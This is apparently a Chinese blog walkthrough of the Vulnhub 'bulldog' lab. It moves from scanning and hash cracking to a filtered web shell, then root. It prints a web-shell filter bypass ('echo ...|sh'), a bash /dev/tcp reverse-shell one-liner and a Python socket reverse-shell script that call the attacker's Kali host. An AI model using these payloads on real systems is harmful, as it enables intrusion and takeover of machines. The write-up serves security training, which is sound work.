文章目录:
作者的github资源:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。
Vulnhub是一个特别好的渗透测试实战靶场,提供了许多带有漏洞的渗透测试虚拟机下载。作者会深入分析20多个案例来熟悉各种Web渗透工具及方法,希望能帮助到您。
靶场题目:bulldog
靶场地址:https://www.vulnhub.com/
entry/bulldog-1%2C211/
难度描述:初学者/中级,目标是进入根目录并查看祝贺消息,提权到root权限查看flag
靶场作者:Nick Frichette
下载地址: https://download.vulnhub.com/bulldog/ https://download.vulnhub.com/bulldog/bulldog.ova
Description Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out? This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you! Difficulty: Beginner/Intermediate, if you get stuck, try to figure out all the different ways you can interact with the system. That’s my only hint Made by Nick Frichette (frichetten.com) Twitter: @frichette_n I’d highly recommend running this on Virtualbox, I had some issues getting it to work in VMware. Additionally DHCP is enabled so you shouldn’t have any troubles getting it onto your network. It defaults to bridged mode, but feel free to change that if you like.
第一步,下载资源
第二步,打开VMware虚拟机安装靶场 找到我们刚才下载的文件,导入虚拟机。
选择存放的位置,然后点击导入。如果出现未通过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。
第三步,导入完成之后,设置NAT网络模式 注意,我们需要将靶机和kali放在同一个局域网下,保证能通信。
第四步,点击开启虚拟机
此时服务器处于开启状态,开始Kali操作吧!最早我一直去找用户名和密码尝试登录,后来想这个靶场应该是让你通过其他系统来渗透的。哈哈,毕竟我也是初学者,遇到任何简单问题都理解。
第五步,设置虚拟机网络 到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。
回车后会弹出选择界面,我们选择root一行回车,接着再次回车进入命令行模式。
输入“mount -o rw,remount / ”命令,再配置网络问卷,否则后面可能无法保存网络配置文件,这个命令让我们的 / 路径文件系统的可读模式能自由修改。接着输入命令查看网卡。
作者的是ens33,然后继续输入命令修改网络配置文件。输入I修改模式,如下图所示。
修改这两个地方,改成你的网卡名称,然后输入“:wq”保存。
最后输入reboot重启即可。
首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。
第一步,目标主机IP探测 首先需要探测目标靶场的IP,推荐三种方法。
方法1:使用arp-scan命令探测目标的IP地址
方法2:使用nmap识别目标主机
方法3:使用netdiscover识别目标主机
第二步,端口扫描 nmap命令的基本用法如下:
输入命令如下:
扫描结果(主机开放端口)如下,常用的端口23、88和8080,发现SSH服务和Web服务,并且Web服务为python。23端口是 telnet 的默认端口,80端口和8080端口经常被用作提供web服务。
接着我们可以借助nc及其他工具对每个端口进行分析。
这里显示23是一个远程端口,运行着openssh服务。接着尝试在终端中输入“ssh -v test@192.168.44.153 -p 23”测试。
接着测试80端口和8080端口,运行结果如下:
接下来使用搜索引擎搜索“WSGIServer/0.1 Python /2.7.12“,结果显示这是一个Django Web服务器。
第三步,目录扫描 在信息扫描中,目录扫描是接下来的操作,利用dirb扫描80端口的目录文件,敏感文件分析非常重要。
使用dirb扫描到两个目录,但是没有任何有用信息。
第一步,敏感文件分析 尝试用浏览器访问网址,网页中包含了一张bulldog图片和文字。
查看源代码发现是POST提交请求,没有价值信息。
打开admin尝试人工注入失败,也可以用Burp注入测试下。
从扫描结果中,我们得到一个很有意思的web目录 /dev/ ,浏览器中访问。
浏览一下,发现/dev/页面的信息比较多,简单翻译如下。大概意思移除了PHP、phpmyadmin和CMS系统,新的系统是用Django编写并且启用了SSH。
查看/dev/shell发现Webshell不能使用,需要通过服务器进行身份验证才能使用Webshell。通常Webshell是能为我们所用的,但现在提示与服务器进行身份验证才能使用Webshell,那接着看看源代码(之前dirb扫描出该目录)。
第二步,查看网页源代码并分析
查看 /dev/ 源代码,可以看到邮箱和一些hash值。
方法一:在线网站爆破 每个邮箱后都有一个哈希值,这很可能是password,接着对每个md5进行在线解密。
解密出最后两条信息:
方法二:通过hash-identifier工具和John 爆破它们,就需要知道是哪种算法生成的这些值,我们借助一个开源的工具“hash-identifier”来识别哪种hash。
其结果是SHA-1哈希,接下来使用John-The-Ripper进行解密即可。
接下来,我们使用用户名 nick@bulldogindustries.com 和 sarah@bulldogindustries.com 以及对应的密码 bulldog 和 bulldoglover 登陆,却失败告终。接着大胆猜测,用户名为 nick 和 sarah ,密码分别对应 bulldog 和 bulldoglover。
成功登录系统,但提示没有对应的权限。
第一步,访问Webshell的基本命令 尝试访问http://192.168.44.153/dev/shell,成功得到Webshell,此时能够提交6个命令。
这里给我们6个可用的命令,如下图所示,比如输入“ifconfig”查看网络。
但执行其他的命令会被拦截,因为该网站加了过滤,一些敏感命令没办法使用。
第二步,使用Linux的 & 和 | 进行命令组合绕过
我们需要想办法绕过防火墙取得最终权限,经过一番琢磨,用echo命令打包可以实现绕过,例如:echo whoami|sh。
第三步,nc监听端口并反弹shell 本地执行nc -lvp 4444监听本地端口4444,然后在Web-shell上执行反弹脚本。
接着尝试bash反弹,在靶机打开的网页命令框中输入命令,但结果提示错误。
由于echo命令是允许执行的,所以利用echo构建一个反弹shell的命令,然后用管道符给bash执行。
在web页面执行echo ‘bash -i >& /dev/tcp/192.168.44.138/4444 0>&1’|bash,就可以弹回一个shell。注意,这里的IP地址是Kali系统的,否则会提示“500错误”。
此时的nc处于正常监听状态,并且成功反弹shell。
同时,补充另一种方法。通过Kali搭建一个简易Web服务,反弹shell的脚本要写到相应的目录,否则靶机用wget下载的时候就会访问失败。
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.44.138", 4444)) #Kali系统IP地址 4444是nc的监听端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
如果服务器搭建在/var/www/html文件时,需要把脚本写到/var/www/html。
输入下面监听Python网站。
靶机用weget命令上传Python文件,并反弹shell。
至此,我们得到了django的普通权限,下一步就是想办法提权,这就需要不断地去探索发现整个系统的漏洞。
nc反弹shell之后,我们可以使用命令进行一系列的查看。
切换目录到 bulldogadmin,并查看全部文件,包括隐藏文件。
这里发现一个.hiddenadmindirectory 文件,进入隐藏管理员目录查看。看到customPermissionApp,它应该是分配权限的一个程序,但我们没有权限打开。接着怎么办呢?虽然不能执行,但是尝试查看文件的内容和字符串。
利用string查看可执行文件中的字符。
从以上字符猜测该程序的用途,推测其是密码。通过下列四个字符拼接,注意每一段后面的H不是密码需要去除。
SUPERultH
imatePASH
SWORDyouH
CANTget
接着想办法用上面的密码提升django或者bulldogadmin权限,我们想通过sudo su - root拿到root,但提示“su must be run from a terminal”。
这里补充一个技巧,可以用Python调用本地的shell实现,命令如下:
然后执行命令 sudo su -,输入刚才记下来的密码,成功从django权限提升到root权限,最终成功获得root权限并拿到flag。
输入ls命令,发现里面只有一个文本文档,再输入 cat congrats.txt 查看文件,最后读取flag文件。
写道这里,这篇文章讲解完毕,后续会更深入的分享。bulldog的渗透流程如下:
学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。
参考文献: